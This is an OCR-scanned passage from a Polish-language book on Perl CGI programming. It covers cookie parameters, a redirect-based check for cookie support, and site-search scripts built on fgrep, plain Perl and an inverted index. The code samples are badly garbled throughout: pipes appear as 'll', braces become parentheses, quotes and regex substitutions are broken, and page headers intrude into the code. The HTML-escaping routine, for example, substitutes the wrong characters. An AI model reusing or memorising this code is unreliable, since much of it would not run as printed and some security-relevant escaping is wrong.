wiele prościej przeprowadzić z wykorzystaniem modułu CGI.pm. Aby odczytać wartość określonego ciasteczka, należy wywołać metodę cookie z jego nazwą: my $ciasteczko = $q->cookie ( "id_koszyka" ) ; Na parametry podawane przy ustanawianiu ciasteczka nakładane są następujące ograniczenia: • Name i value mogą zawierać dowolne znaki. Wszelkie znaki specjalne CGI.pm automatycznie zakoduje pod kątem URL-a. Name i value są parametrami wymaganymi. • Domain musi pasować do nazwy domeny serwera ustanawiającego ciasteczko. Domeny dopasowywane są od prawej do lewej, tak więc .oreilly.com pasuje do www.oreUly.com, także do server3.oreilly.com, a nawet dofred.sf.oreilly.com. Domeny kończące się trzyznakowym oznaczeniem domeny najwyższego poziomu, na przykład .com, .net, .org itd., muszą zawierać co najmniej dwie kropki. W krajowych domenach najwyższego poziomu, np. MU, .uk, .ca, .pl itp., wymagane są trzy kropki. Wymagania te zapobiegają ustanawianiu ciasteczek dla zbyt rozległych domen, takich jak .com lub .org.pl. Jeśli parametr domain nie będzie podany jawnie, domyślnie zostanie przyjęta pełna nazwa domeny, na przykład www.oreilly.com. • Expłres zawiera etykietę czasową (datownik) końca ważności ciasteczka o następującym formacie: Dzt, DD-Msc-YY HH:MM:SS GMT Na szczęście nie musimy się go uczyć na pamięć, ponieważ CGI.pm umożliwia podanie daty wygaśnięcia ważności ciasteczka za pomocą wartości względnych: -expires => "+1y" # rok od danego momentu -expires => "+6M" # 6 miesięcy od danego momentu -expires => "-1d" # dzień poprzedni (oznacza usunięcie ciasteczka) -expires => "+12h" # 12 godzin od danego momentu -expires => "+30m" # 30 minut od danego momentu -expires => "+15s" # 15 sekund od danego momentu -expires => "now" # dany moment Zauważmy, że M (wielkie) oznacza miesiące, a m (małe) oznacza minuty. Jeśli wskazany czas wypada w przeszłości, przeglądarka nie zapisuje danego ciasteczka i usuwa wszelkie dotychczasowe ciasteczka o tej samej nazwie, domenie i ścieżce. Jeśli data wygaśnięcia nie zostanie podana, przeglądarka przechowa ciasteczko w pamięci, dopóki będzie czynna. • Path, tak jak domain, decyduje o tym, kiedy przeglądarka powinna wysłać ciasteczko do serwera. Ścieżka musi być absolutna i musi pasować do ścieżki żądania ustanawiającego ciasteczko. Ścieżki są dopasowywane od lewej do prawej, przy czym z parametru path usuwane są końcowe ukośniki ( / ), tak więc /cgi/ pasuje do lcgi/spraivdz_koszyk.cgi, a także do Icgi-bin/kalendarz.cgi. Jeśli parametr path nie zostanie podany, domyślnie zostanie przyjęta pełna ścieżka żądania ustanawiającego ciasteczko.
Programowanie CGI w Perlu
145
• Secure informuje przeglądarkę, że powinna zwracać ciasteczko tylko przy żądaniach zgłaszanych poprzez HTTPS. Przeglądarki rozróżniają ciasteczka o tych samych nazwach, lecz różnych domenach i (lub) ścieżkach. Dlatego może się zdarzyć, że przeglądarka wyśle kilka ciasteczek o tej samej nazwie, przy czym jako pierwsze w odpowiedzi powinno się znaleźć ciasteczko najdokładniej określone. Na przykład, jeśli ustanowimy następujące dwa dasteczka: my $cl = $q->cookie( -nama => "użytkownik", -value => "wartosc_serwisu", -path => "/" ); my $c2 = $q->cookie( -nane => "użytkownik", -value => "wartosc_sklepu", -path => "/cgi" ); print $q->header( -type => "text/html", -cookie => [$cl, $c2 ] ); to przy późniejszych żądaniach przeglądarka powinna wysyłać następujący nagłówek: Cookie: uzytkownik=wartosc_sklepu; uzytkownik=wartosc_serwisu CGI.pm, inaczej niż w wypadku parametrów formularzy, nie zwraca kilku wartości ciasteczka o tej samej nazwie - zawsze zwraca pierwszą z nich. Następujący zapis: my $uzytkownik = $q->cookie( "użytkownik" ); zmiennej $uzytkownik przypisze „wartosc_sklepu". Gdyby była potrzebna druga wartość, musielibyśmy samodzielnie zbadać wartość zmiennej środowiska HTTP_COOKIE (lub użyć metody raw_cookie modułu CGI.pm). Oczywiście, mało kto ustanawia dwa ciasteczka o tej samej nazwie w jednym skrypcie. Jednak jest całkiem prawdopodobne, że w rozbudowanych serwisach kilka różnych aplikacji ustanowi kilka ciasteczek o tej samej nazwie. Dlatego, zwłaszcza wtedy, gdy serwis leży w domenie dzielonej z innymi serwisami, wskazane jest wybierać dla ciasteczek unikatowe nazwy i jak najdokładniej podawać domeny i ścieżki. Ciasteczka różniące się tylko parametrem secure nie są przez przeglądarki uznawane za różne, w przeciwieństwie do sytuacji, gdy ciasteczka różnią się wartościami domen i ścieżek. Dlatego nie można ustanowić jednej wartości dla połączeń https, a drugiej dla połączeń http, podając tę samą domenę i ścieżkę; drugie ciasteczko pod-mieni pierwsze. Sprawdzanie obsługi ciasteczek Jeśli klient, nie przyjmie ciasteczka, nie poinformuje nas o tym, lecz je „po cichu" odrzuci. Dlatego klient nie przyjmujący ciasteczek widziany jest w skrypcie CGI tak, jak nowy klient, który jeszcze nie otrzymał ciasteczka. Odróżnienie ich bywa trudne. Niektóre serwisy nie przykładają w ogóle do tego wagi i jedynie informują, że dany serwis wymaga ciasteczek i bez nich nie będzie działać poprawnie. Lepszym rozwiązaniem jest sprawdzanie, czy ciasteczka są obsługiwane, z wykorzystaniem przekierowania. Załóżmy, że mamy aplikację pod adresem http://urww.oreilly.com/cgi/sklep/store.cgi, w której ciasteczka są potrzebne do śledzenia sklepowych koszyków użytkowników. Pierwsze, co skrypt może zrobić, to sprawdzenie, czy klient przysłał ciasteczko. Jeśli przysłał, to znaczy, że użytkownik jest gotowy do zakupów. W przeciwnym razie skrypt CGI musi najpierw wysłać ciasteczko do klienta. Jeśli skrypt CGI spróbuje ustanowić ciasteczko, a jednocześnie odeśle użytkownika pod inny URL, na przykład http://www.oreilly.com/cgi/sklep/cookie_test.cgi, to pod tym drugim URL-em będzie można sprawdzić, czy ciasteczko zostało faktycznie ustanowione. Przykład 11.4 przedstawia początek głównego skryptu CGI. Przykład 11.4. store.cgi #!/usr/bin/perl -wT use strict; use CGI; my $q = new CGI; my $id_koszyka = $q->cookie( -name => "id_koszyka" ) ll ustanow_ciasteczko( $q ); # Skrypt dla użytkowników mających ciasteczka sub ustanow_ciasteczko { my $q = shift; my $serwer = $q->server_name; my $id_koszyka = unikatowy_id(); my $ciasteczko = $q->cookie( -name = "id_koszyka", -value => $id_koszyka, -path => "/cgi/sklep" ); print $q->redirect ( -url => http: //$serwer/cgi/sklep/cookie_test.cgi\n", -cookie => $ciasteczko; exit; } Jeśli pobranie ciasteczka o nazwie id_koszyka okazuje się niemożliwe, obliczamy nowy unikatowy identyfikator dla danego użytkownika i wprowadzamy go do ciasteczka bieżącej sesji, które jest widoczne tylko w ramach aplikacji sklepu. Procedura unikatowy_id użyta już została w przykładach 11.1 oraz 11.3; dla zwięzłości ją pomijamy. Ustanawiamy ciasteczko i kierujemy użytkownika do drugiego skryptu CGI, który je skontroluje. Z ustanawianiem ciasteczka przy jednoczesnym przekierówaniu wiąże się kilka spraw: • Nie można ustanowić ciasteczka dla domeny docelowej, jeśli domena URL-a w przekierówaniu różni się od domeny skryptu. W takich okolicznościach przeglądarki z reguły ignorują ciasteczka ze względu na kwestie prywatności. • W URL-u musi być użyta ścieżka bezwzględna; w przeciwnym razie serwer może nie dopuścić do kolejnego cyklu żądania i odpowiedzi, zwracając treść związaną z nowym URL-em jako treść odpowiedzi początkowej poprzez przekierowanie wewnętrzne.
Programowanie CGI w Perlu
146
• W zasięgu ciasteczka musi się znajdować zarówno skrypt CGI ustanawiający ciasteczko, jak i skrypt CGI sprawdzający fakt jego ustanowienia. W naszym wypadku obydwa skrypty znajdują się poniżej katalogu /cgi/sklep, więc tak też określamy ścieżkę ciasteczka. Przykład 11.5 zawiera kod skryptu cookiejest.cgi. Przykład 11.5. cookie_test.cgi #!/usr/bin/perl -wT use strict; use CGI; use constant ZRODLOWY_CGI => "/cgi/sklep/store.cgi"; my $q = new CGI; my $ciasteczko = $q->cookie ( -name => "id_koszyka" ); if ( defined $ciasteczko ) { print $q->redirect( ZRODLOWY_CGI ); } else { print $q->header( -type => "text/html", -expires => "-Id" ), $q->start_html( "Ciasteczka są wyłączone" ) , $q->hl( "Ciasteczka są wyłączone" ), $q->p( "Przeglądarka nie akceptuje ciasteczek. Proszę zmienić ", "przeglądarkę na nowszą lub włączyć obsługę ciasteczek i ", $q->a( { -href => ZRODLOWY_CGI }, "powrócić do sklepu" ), <i n ), $q->end_html; } Powyższy skrypt jest dość krótki. Najpierw w zmiennej notujemy względny URL skryptu, spod którego przyszliśmy. Moglibyśmy go wydobyć ze zmiennej HTTP_REFERER, lecz nie wszystkie przeglądarki wysyłają pole HTTP Referer, gdyż ze względu na kwestie prywatności niektóre przeglądarki umożliwiają użytkownikom wyłączenie tego pola. Bezpiecznym wyjściem jest zakodowanie go w skrypcie na stałe. Następnie tworzymy nowy obiekt CGI.pm i sprawdzamy obecność ciasteczka. Jeśli zostało ustanowione, skierowujemy użytkownika z powrotem do pierwotnego skryptu, który teraz będzie już mógł odczytać ciasteczko i kontynuować działanie. Jeśli ciasteczko nie zostało ustanowione, wyświetlamy komunikat, informujący użytkownika o problemie i podający łącze do pierwotnego skryptu, aby mógł ponowić próbę. Zauważmy, że wyłączamy buforowanie tej strony w pamięci podręcznej, przekazując odpowiedni parametr wygaśnięcia do metody header modułu CGI.pm. W ten sposób zapewnimy, że gdy użytkownik powróci, przeglądarka nie wyświetli zbuforowanej kopii komunikatu o błędzie, lecz ponownie wywoła skrypt w celu sprawdzenia ciasteczka.
Rozdział 12 Przeszukiwanie serwera Web Użytkownicy bardzo sobie cenią serwisy Web wyposażone w narzędzia do wyszukiwania informacji w danym serwisie, gdyż bez nich próby znalezienia określonych dokumentów potrafią być męczące. Tworzenie aplikacji wyszukującej opiera się na dość banalnym pomyśle: przyjąć zapytanie od użytkownika, spróbować dopasować do niego zbiór dokumentów, po czym zwrócić te dokumenty, które spełniają zadane kryteria. Niestety, jest kilka spraw, które to komplikują, a zwłaszcza konieczność przejrzenia obszernych magazynów dokumentów. W takich wypadkach przeszukiwanie z osobna każdego dokumentu w sposób liniowy jest niepraktyczne i można je porównać do szukania igły w stogu siana. Właściwe rozwiązanie polega na zredukowaniu ilości danych do przeszukania przez uprzednie poddanie ich pewnej obróbce. Niniejszy rozdział ma za zadanie nauczyć, jak się implementuje różne rodzaje mechanizmów wyszukiwawczych, od banalnych, odszukujących dokumenty na bieżąco, po najbardziej złożone, zdolne do poszukiwań charakteryzujących się pewną inteligencją.
Przeszukiwanie kolejne Na początku zajmiemy się przykładem dość banalnym - kod w istocie nie przeprowadza wyszukiwania, przetwarza jedynie rezultaty polecenia fgrep, do którego wcześniej przekazuje zapytanie. Zanim przejdziemy do szczegółów, przedstawimy formularz HTML, który posłuży nam do uzyskiwania informacji od użytkownika: <HTML> <HEAD> <TITLE>Proste, "mało inteligentne" wyszukiwanie</TITLE> </HEAD> <BODY> <Hl>Gotowy do wyszukiwania?</Hl> <P> <FORM ACTION="/cgi/grep_searchl. cgi" METHOD="GET"> <INPUT TYPE="text" NAME="zapytanie" SIZE="20"> <INPUT TYPE="submit" VALUE="SZUKAJ! "> </FORM> </BODY> </HTML> Jak już wspomnieliśmy, program jest całkiem prosty. Tworzy potok do polecenia fgrep i przekazuje do niego zapytanie wraz z przełącznikami nakazującymi uwzględnianie wielkości liter i zwracanie pasujących samych nazw plików, z pominięciem ich treści. Program upiększa wyniki otrzymane z fgrep, nadając im postać dokumentu HTML, a potem zwraca je do przeglądarki. Listę dopasowanych plików fgrep zwraca w następującej postaci:
Programowanie CGI w Perlu
147
/usr/local/apache/htdocs/jak_pisac_skrypty.html /usr/local/apache/htdocs/potrzebny_mi_jest_perl.html Program przekształca je w taką oto listę HTML: <LI><A HREF="/jak_pisac_skrypty.html">jak_pisac_skrypty.html</A></LI> <LI><A HREF="/potrzebny_mi_jest_perl .html">potrzebny_mi_jest_perl .html</A></LI> Przyjrzyjmy się teraz programowi, przedstawionemu jako przykład 12.1. Przykład 12.1. grep_search1.cgi #!/usr/bin/perl -wT # OSTRZEŻENIE: Ten kod ma znaczne ograniczenia; zob. opis use strict; use CGI; use CGIBook::Error; # Zabezpiecz środowisko w celu wywołania polecenia fgrep BEGIN { $ENV(PATH} = "/bin:/usr/bin"; delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) }; } my $FGREP = "/usr/local/bin/fgrep"; my $DOCUMENT_ROOT = $ENV(DOCUMENT_ROOT}; # główny katalog dokumentów my $SCIEZKA_WIRTUALNA = ""; my $q = new CGI; my $zapytanie = $q->param( "zapytanie" ); $zapytanie =~ s/[^\w ]//g; $zapytanie =~ /([\w ]+)/; $zapytanie = $1; unless ( defined $zapytanie ) { error ( $q, "Proszę podać poprawne zapytanie!" ); } my $rezultaty = szukaj( $q, $zapytanie ); print $q->header( "text/html" ), $q->start_html( "Proste wyszukiwanie za pomocą fgrep" ), $q->hl( "Odszukaj: $zapytanie" ), $q->ul( $rezultaty l l "Brak dopasowań" ), $q->end_html; sub szukaj { my( $q, $zapytanie ) = @_; local *POTOK; my $dopasowania = ""; open POTOK, "$FGREP -il '$zapytanie' $DOCUMENT_ROOT / * l" or die "Nie można otworzyć aplikacji fgrep: $ ! " ; while ( <POTOK> ) { chomp; s l .*/| l; $dopasowania .= $q->li ( $q->a( { href => "$SCIEZKA_WIRTUALNA/$ } , $_ ) ); } close POTOK; return $dopasowania; } Inicjujemy trzy zmienne globalne - $FGREP, $DOCUMENT_ROOT i $SCIE-ZKA_WIRTUALNA - w których przechowywane są: ścieżka do binariów polecenia /grep, katalog wyszukiwawczy oraz ścieżka wirtualna do tegoż katalogu. Jeśli nie chcemy, by program przeszukiwał najwyższy poziom katalogu dokumentów serwera Web, w zmiennej $ DOCUMENT_ROOT powinniśmy umieścić pełną ścieżkę katalogu, w którym szukanie będzie dozwolone. Jeśli tak zrobimy, to będziemy też musieli w zmiennej $SCIEZKA_WIRTUALNA umieścić ścieżkę URL do tego kataloguPonieważ Perl przepuszcza skonstruowane przez nas polecenie fgrep przez powłokę, musimy zyskać pewność, że wysłane zapytanie nie zagrozi bezpieczeństwu systemu. Za dopuszczalne przyjmiemy tylko „wyrazy" (czyli ciągi znaków przedstawiane w Perlu za pomocą znaków z przedziałów „a-z", „A-Z", „0-9" i znaku „_") i spacje. Będziemy usuwać wszystkie inne znaki, a wynik odkażać, przetwarzając go za pomocą wyrażenia regularnego. Ta dodatkowa czynność jest konieczna, mimo że dane stają się bezpieczne już w wyniku wcześniejszego podstawienia - nie wystarcza ono jednak do tego, by Perl uznał je za nieskażone. Moglibyśmy pominąć podstawianie i posłużyć się samym wyrażeniem regularnym. Gdyby jednak ktoś wprowadził niedozwolony znak, w wyszukiwaniu uwzględniona zostałaby tylko ta część zapytania, która znajduje się przed tym znakiem. Wykonując na początku podstawienie, możemy się pozbyć niedozwolonych znaków, a przy wyszukiwaniu oprzeć się na wszystkich pozostałych. Jeśli po tych wszystkich zabiegach okaże się, że zapytanie nie zostało podane lub że jest puste, wywołujemy znajomą procedurę error, by powiadomić użytkownika o błędzie. Aby uniknąć ostrzeżenia o używaniu niezdefiniowanych zmiennych, sprawdzamy najpierw, czy zmienna zapytania w ogóle jest zdefiniowana.
Programowanie CGI w Perlu
148
Otwieramy POTOK do polecenia fgrep w trybie do odczytu (na potok wskazuje końcowy znak „ l "). Zwróćmy uwagę, że składnia prawie nie różni się od stosowanej przy otwieraniu pliku. Gdy potok zostanie pomyślnie otwarty, możemy odczytać wyniki pojawiające się na jego wyjściu. Przełączniki -H sprawiają, że fgrep przy wyszukiwaniu uwzględnia wielkość liter i zwraca nazwy plików (a nie - pasujące wiersze). Łańcuch zapytania umieszczamy w cudzysłowie na wypadek, gdyby użytkownik do wyszukania zadał kilka wyrazów. Ostatnim argumentem polecenia fgrep jest lista wszystkich plików do przeszukania. Powłoka rozwija symbole wieloznaczne w listę wszystkich plików znajdujących się w podanym katalogu. Jeśli katalog zawiera dużo plików, mogą się pojawić problemy, gdyż niektóre powłoki mają wewnętrzne ograniczenia co do takich rozwinięć. Zaradzimy temu w następnym podrozdziale. Pętla while iteracyjnie odczytuje poszczególne wyniki, przypisując zmiennej $_ bieżący rekord w każdym cyklu. Odrzucamy znaki końców wierszy oraz informację o katalogu, tak aby otrzymać samą nazwę pliku. Następnie tworzymy element listy (o znaczniku <LI>), zawierający hiPerlacze do odpowiedniego pliku. Na koniec drukujemy wyniki. Jaka jest wartość takiej aplikacji? Stanowi ona prosty mechanizm wyszukiwawczy i nadaje się do niewielkich zbiorów plików. Ma przy tym kilka niedostatków: • Aby zrealizować wyszukiwanie, wywołuje aplikację zewnętrzną (fgrep), co sprawia, że jest nieprzenośna; na przykład system Windows 95 nie jest wyposażony w aplikację fgrep. • Ze względów bezpieczeństwa alfanumeryczne „symbole" są z zapytań usuwane. • W niektórych powłokach możemy się spotkać z ograniczeniem nałożonym na rozwinięcia symboli wieloznacznych; niekiedy jest ono limitowane zaledwie do 256 plików. • Nie umożliwia przeszukiwania kilku katalogów jednocześnie. • Nie zwraca treści plików, lecz same ich nazwy (choć moglibyśmy dodać tę funkcję, pomijając przełącznik -/). Spróbujmy zatem stworzyć lepszy mechanizm wyszukiwawczy.
Przeszukiwanie kolejne - podejście drugie Mechanizm wyszukiwawczy, który stworzymy w tym podrozdziale, jest znacznie lepszy. Nie opiera się przy wyszukiwaniu na poleceniu fgrep, co jednocześnie oznacza, że nie musimy się posługiwać powłoką. Dlatego też nie dotyczy nas jego wewnętrzne ograniczenie co do rozwinięć. Aplikacja ta ponadto zwraca dopasowaną treść i przytacza zapytanie sformułowane przez użytkownika, co jeszcze bardziej zwiększa jej funkcjonalność. Jak działa? Tworzy listę wszystkich plików HTML znajdujących się w podanym katalogu, opierając się na własnych, napisanych w Perlu funkcjach, a następnie analizuje w pętli każdy plik, poszukując wiersza pasującego do zapytania. Wszystkie dopasowania umieszczane są w tablicy, a potem przekształcane do postaci HTML-owej. Przykład 12.2 przedstawia ten nowy program. Przykład 12.2. grep_search2.cgi #!/usr/bin/perl -wT use strict; use CGI; use CGIBook: :Error; my $DOCUMENT__ROOT = $ENV{DOCUMENT_ROOT} ; # główny katalog dokumentów my $SCIEZKA__WIRTUALNA = ""; my $q = new CGI; my $zapytanie = $q->param( "zapytanie" ) ; unless ( defined $zapytanie and length $zapytanie ) { error ( $q, "Proszę podać poprawne zapytanie!" ) ; } $zapytanie = ąuotemeta ( $zapytanie ) ; my $rezultaty = szukaj ( $q, $zapytanie ) ; print $q->header( "text/html" ), $q->start_html ( "Proste wyszukiwanie w Perlu" ), $q->hl ( "Odszukaj: ^zapytanie" ), $q->ul ( $rezultaty || "Brak dopasowań" ) , $q->end__html; } sub szukaj { my( $q, $zapytanie ) = @_; my( %dopasowania, @pliki, @sortowane_sciezki, $rezultaty ) ; local( *KATALOG, *PLIK ) ; opendir KATALOG, $DOCUMENT_ROOT or error ( $q, "Nie można sięgnąć do katalogu!" ) ; @pliki = grep { -T "$DOCUMENT_ROOT/$_" } readdir KATALOG; close KATALOG; my $plik; foreach $plik ( @pliki ) { my $pelna_sciezka = "$DOCUMENT_ROOT/$_" ; open PLIK, $pelna_sciezka or error( $q, "Nie można przetworzyć pliku $plik!" );
Programowanie CGI w Perlu
149
while ( <PLIK> ) { if ( /$zapytanie/io ) { $_ = maskuj_w_htmlu ( $_ ) ; s | $zapytanie | <B>$zapytanie</B> l gio; push @{ $dopasowania{$pelna_sciezka} (treść) }, $_; $dopasowania{$pelna_sciezka} {plik} = $plik; $dopasowania{$pelna_sciezka} { l_dopasowan}++; } } close PLIK; } @sortowane__sciezki = sort ( $dopasowania{$b}{l_dopasowan} <=> $dopasowania{$a}{l_dopasowan} || $a cmp $b } keys %dopasowania; my $pelna_sciezka; foreach $pelna_sciezka ( @sortowane_sciezki ) { my $plik = $dopasowania{$pelna_sciezka}{plik}; my $l_dopasowan = $dopasowania{$pelna_sciezka}{l_dopasowan}; my $link = $q->a( { -href => "$SCIEZKA_WIRTUALNA/$plik" }, $plik ) ; my $tresc = join $q->br, @{ $dopasowania{$pelna_sciezka}{treść} ); $rezultaty .= $q->p( $q->b( $link ) . " ($l_dopasowan dopasowania)" . $q->br . $tresc ); } return $rezultaty; } sub maskuj_w_htmlu { my( $tekst ) = @_; $tekst =~ s/s/&amp;/g; $tekst =~ s/</&lt;/g; $tekst =~ s/>/4gt;/g; } Początek programu jest taki sam jak poprzednio. Ponieważ przeszukujemy z pominięciem ryzykownego przekazywania zapytania do powłoki, nie musimy już z niego usuwać żadnych znaków. Maskujemy natomiast wszelkie znaki, które mogłyby zostać błędnie zinterpretowane w wyrażeniu regularnym, wywołując funkcję Perla cjuotemeta. Funkcja opendir otwiera podany katalog i zwraca uchwyt, którego możemy użyć przy uzyskiwaniu listy wszystkich plików w danym katalogu. Bezcelowe jest przeszukiwanie plików binarnych, takich jak zapisy dźwiękowe czy grafika, więc odfil-trowujemy je za pomocą funkcji grep Perla (nie należy jej mylić z uniksowymi aplikacjami grep i f grep). W tym właśnie kontekście funkcja grep iteracyjnie analizuje listę nazw plików zwróconą przez readdir określając zmienną $_ przy każdym kolejnym elemencie -i przetwarza wyrażenie podane w nawiasie, zwracając tylko te elementy, dla których wyrażenie jest prawdziwe. Funkcja readdir działa w kontekście tablicy, więc do przetworzenia przez grep możemy podać listę wszystkich plików danego katalogu. Z tym podejściem wiąże się jednak pewien problem. Funkcja readdir nie zwraca pełnych ścieżek, lecz same nazwy plików, co oznacza, że przed przekazaniem ich do operatora -T musimy konstruować pełną ścieżkę. Do tego celu wykorzystujemy zmienną $ DOCUMENT_ROOT. Jeśli plik jest tekstowy, operator -T zwraca wartość „prawda". Gdy grep zakończy przetwarzanie wszystkich plików, zmienna @pliki będzie zawierać listę wszystkich plików tekstowych. Iteracyjnie przechodzimy przez tablicę @pliki, w każdym cyklu przypisując zmiennej $plik bieżącą wartość. Otwieramy plik (w razie niepowodzenia zwracamy błąd), a następnie w pętli odczytujemy go wiersz po wierszu. Tablica asocjacyjna % dopasowani a zawiera trzy elementy: plik- przechowujący nazwę pliku, l_dopasowan - przechowujący liczbę pomyślnych dopasowań, tablicę treść - przechowującą wszystkie dopasowane wiersze. Nazwa pliku potrzebna będzie przy generowaniu HTML-owych danych wyjściowych. Przy wyszukiwaniu posługujemy się prostym wyrażeniem regularnym uwzględniającym wielkość liter. Przełącznik o powoduje, że wyrażenie to jest kompilowane tylko raz, co znacznie przyspiesza wyszukiwanie. Należy jednak zauważyć, że może to powodować problemy, gdy skrypty działają pod kontrolą mod_perl lub FastCGI, które omówimy w rozdziale 17, „Efektywność i optymalizacja". Jeśli wiersz pasuje do zapytania, maskujemy znaki, które mogłyby zostać błędnie uznane za elementy znaczników HTML. Następnie pogrubiamy tekst pasujący do zapytania, zwiększamy licznik o liczbę uzyskanych dopasowań i wstawiamy wiersz (instrukcją push) do tablicy treści danego pliku. Zakończywszy przeszukiwanie pliku, porządkujemy wyniki (instrukcją sort) według malejącej liczby dopasowań oraz dodatkowo według kolejności alfabetycznej ścieżek na wypadek plików o jednakowej liczbie dopasowań. Aby uzyskane wyniki podać na wyjście, w pętli przechodzimy przez już uporządkowaną listę. Do każdego pliku tworzymy łącze, wyświetlamy liczbę dopasowań oraz wszystkie wiersze dopasowane do zapytania.
Programowanie CGI w Perlu
150
Ponieważ treść ma postać pojedynczych elementów tablicy, instrukcją join łączymy je wszystkie ze sobą w jeden długi łańcuch separowany HTML-owymi znacznikami podziału wiersza. Udoskonalmy teraz odrobinę naszą aplikację, umożliwiając użytkownikom podawanie wyrażeń regularnych. Nie przedstawimy całej aplikacji, gdyż jest bardzo podobna do omówionej przed chwilą. Mechanizm wyszukiwawczy oparty na wyrażeniu regularnym Umożliwiając użytkownikom podawanie wyrażeń regularnych, zwiększamy możliwości mechanizmu wyszukiwawczego. Na przykład użytkownik poszukujący przepisu na Zwetschgendatschi (bawarski placek śliwkowy) w naszej internetowej kolekcji kulinarnej, gdyby nie był pewny pisowni, chcąc go znaleźć, mógłby po prostu wpisać Zwet.+?chi. Aby wdrożyć tę obsługę, mechanizm wyszukiwawczy musimy wzbogacić o kilka rzeczy. Najpierw musimy zmodyfikować plik HTML, tak aby użytkownik miał do wyboru włączenie lub wyłączenie tej właściwości. Wyszukiwanie oparte na wyrażeniu regularnym: <INPUT TYPE="radio" NAME="regex" VALUE="tak">Włączone <INPUT TYPE="radio" NAME="regex" VALUE="nie">Wylączone W aplikacji natomiast będziemy musieli sprawdzać wybraną wartość i podejmować odpowiednie do niej działanie. Oto zmiany, które należy wprowadzić do poprzednio przytoczonego skryptu: #!/usr/bin/perl -wT use strict; my $q = new CGI; my $regex = $q->param( "regex" ); my $zapytanie = $q->param( "zapytanie" ); unless ( defined $zapytanie and length $zapytanie ) { error( $q, "Proszę podać poprawne zapytanie!" ); } if ( $regex eq "tak" ) { eval { /$zapytanie/o }; error ( $q, "Nieprawidłowe wyrażenie regularne") 'if $@; } else { $zapytanie = quotemeta $zapytanie; } my $rezultaty = szukaj( $q, $zapytanie ); print $q->header( "text/html" ), $q->start_html( "Proste wyszukiwanie na wyrażeniach regularnych" $q->hl( "Odszukaj: $zapytanie" ), $q->ul( $rezultaty || "Brak dopasowań" ), $q->end_html; Reszta kodu pozostaje bez zmian. Różnica polega na sprawdzaniu, czy użytkownik włączył opqę regex. Jeśli tak zrobił, to przetwarzamy podane przez niego wyrażenie regularne, korzystając z funkcji evd. Poprawność wyrażenia można sprawdzić na podstawie wartości zmiennej $ @. Perl ustawia tę zmienną, gdy w kodzie wyrażenia jest błąd. Jeśli wyrażenie jest poprawne, możemy kontynuować i użyć go bezpośrednio, nie umieszczając w cudzysłowie podanych przez użytkownika metaznaków. Jeśli opcja regex nie została włączona, wyszukiwanie odbywa się w sposób pokazany poprzednio. Jak widać, dwie ostatnie aplikacje w stosunku do pierwszej zostały znacznie ulep szone, jednak żadna z nich nie jest doskonała. Ponieważ obydwie opierają się na liniowym algorytmie wyszukiwania, cały proces staje się powolny, gdy katalogi zawierają dużo plików. Ponadto przeszukują tylko jeden katalog. Można by je zmodyfikować tak, aby sięgały do podkatalogów, lecz to jeszcze bardziej pogorszyłoby wydajność. W następnym podrozdziale przyjrzymy się podejściu opartym na indeksowaniu, w którym wyszukiwane są nie pliki jako takie, lecz wyrazy zawarte w uprzednio utworzonym słowniku wyrazów występujących w poszczególnych plikach.
Wyszukiwanie oparte na indeksie odwróconym Poznane przez nas dotąd aplikacje przeszukiwały każdy plik w podanym katalogu pod kątem określonego wyrazu lub frazy. Jest to czasochłonne, a ponadto bardzo obciąża serwer. Ewidentnie potrzebne jest inne podejście. Efektywniejszy sposób polega na tworzeniu indeksu (analogicznego do umieszczanego na końcu książki), zawierającego wszystkie wyrazy znajdujące się w określonych dokumentach oraz nazwy dokumentów, w których wyrazy te występują. W tym podrozdziale omówimy aplikację tworzącą tzw. indeks odwrócony (ang. inverted index). Indeks jest odwrócony w tym sensie, że posługujemy się określonym słowem w celu wyszukania plików, w których ono występuje, a nie na odwrót. W kolejnym podrozdziale przyjrzymy się skryptowi CGI przeszukującemu taki indeks i prezentującemu wyniki w estetycznej formie. Przykład 12.3 przedstawia mechanizm indeksujący. Przykład 12.3. indexer.pl #!/usr/bin/perl -w # To nie jest skrypt CGI, więc tryb kontroli skażeń nie jest wymagany use strict;
Programowanie CGI w Perlu
use File::Find; use Fcntl; use DB_File; use Getopt::Long; use Text::English; use constant DB_CACHE => 0; # rozmiar bufora use constant DEFAULT_INDEX => "/usr/local/apache/data/index.db"; # domyślny plik indeksu my( %opcje, %indeks, @pliki, $wyrazy_nieistotne ); GetOptions ( \%opcje, "dir=s", "cache=s", "index=s", "ignore", "stop=s", "numbers", "stem" ); die składnia () unless $opcje{dir} && -d $opcje{dir} ; $opcje{'index'} ||= DEFAULT_INDEX; $DB_BTREE->(cachesize) = $opcje{cache} || DB_CACHE; $indeks {" !OPCJA: stem" } = l if $opcje{'stem'}; $indeks {" !OPCJA: ignore" ) = l if $opcje('ignore'}; tie %indeks, "DB_File", $opcje{'index'}, O_RDWR | O_CREAT, 0644 or die "Nie można związać bazy danych: $!\n"; find( sub { push @pliki, $File::Find::name }, $opcje{dir} ) ; $wyrazy_nieistotne = wczytaj_wyrazy_nieistotne( $opcje{stop} ) if $opcje{stop}; przetworz_pliki( \%indeks, \@pliki, \%opcje, $wyrazy_nieistotne ); untie %indeks; sub wczytaj_wyrazy_nieistotne { my $plik = shift; my $wyrazy = 0; local( *INFO, $_ ); die "Nie można wczytać pliku wyrazów nieistotnych: $plik\n" unless -e $plik; open INFO, $plik or die "$!\n"; while ( <INFO> ) { next if /^#/; $wyrazy->{1c $1) = l if /(\S+)/; } close INFO; return $wyrazy; } sub przetworz_pliki { my( $indeks, $pliki, $opcje, $wyrazy_nieistotne local( *PLIK, $_ ) ; local $/ = "\n\n"; for ( my $id_pliku = 0; $id_pliku < @$pliki; $id_pliku++ ) { my $plik = $pliki[$id_pliku]; my %spotkany_w_pliku; next unless -T $plik; print STDERR "Indeksowanie pliku $plik\n"; $indeks->("!NAZWA_PLIKU:$id_pliku") = $plik; open PLIK, $plik or die "Nie można otworzyć pliku: $plik!\n"; while ( <PLIK> ) { tr/A-Z/a-z/ if $opcje{ignore); s/<.+?>//gs; # Uwaga: działanie nie obejmuje < ani > w komentarzach ani w JS while ( /([a-z\d](2,))\b/gi ) { my $wyraz = $1; next if $wyrazy_nieistotne->{lc $wyraz}; next if $wyraz =~ /*\d+$/ && not $opcje{numbers); ( $wyraz ) = Text::English::stem( $wyraz ) if $opcjefstera); $indeks->($wyraz} = ( exists $indeks->{$wyraz} ? "$indeks->{$wyraz):" : "" ) . "$id_pliku" unless $spotkany_w_pliku($wyraz}++; } } } }
151
Programowanie CGI w Perlu
152
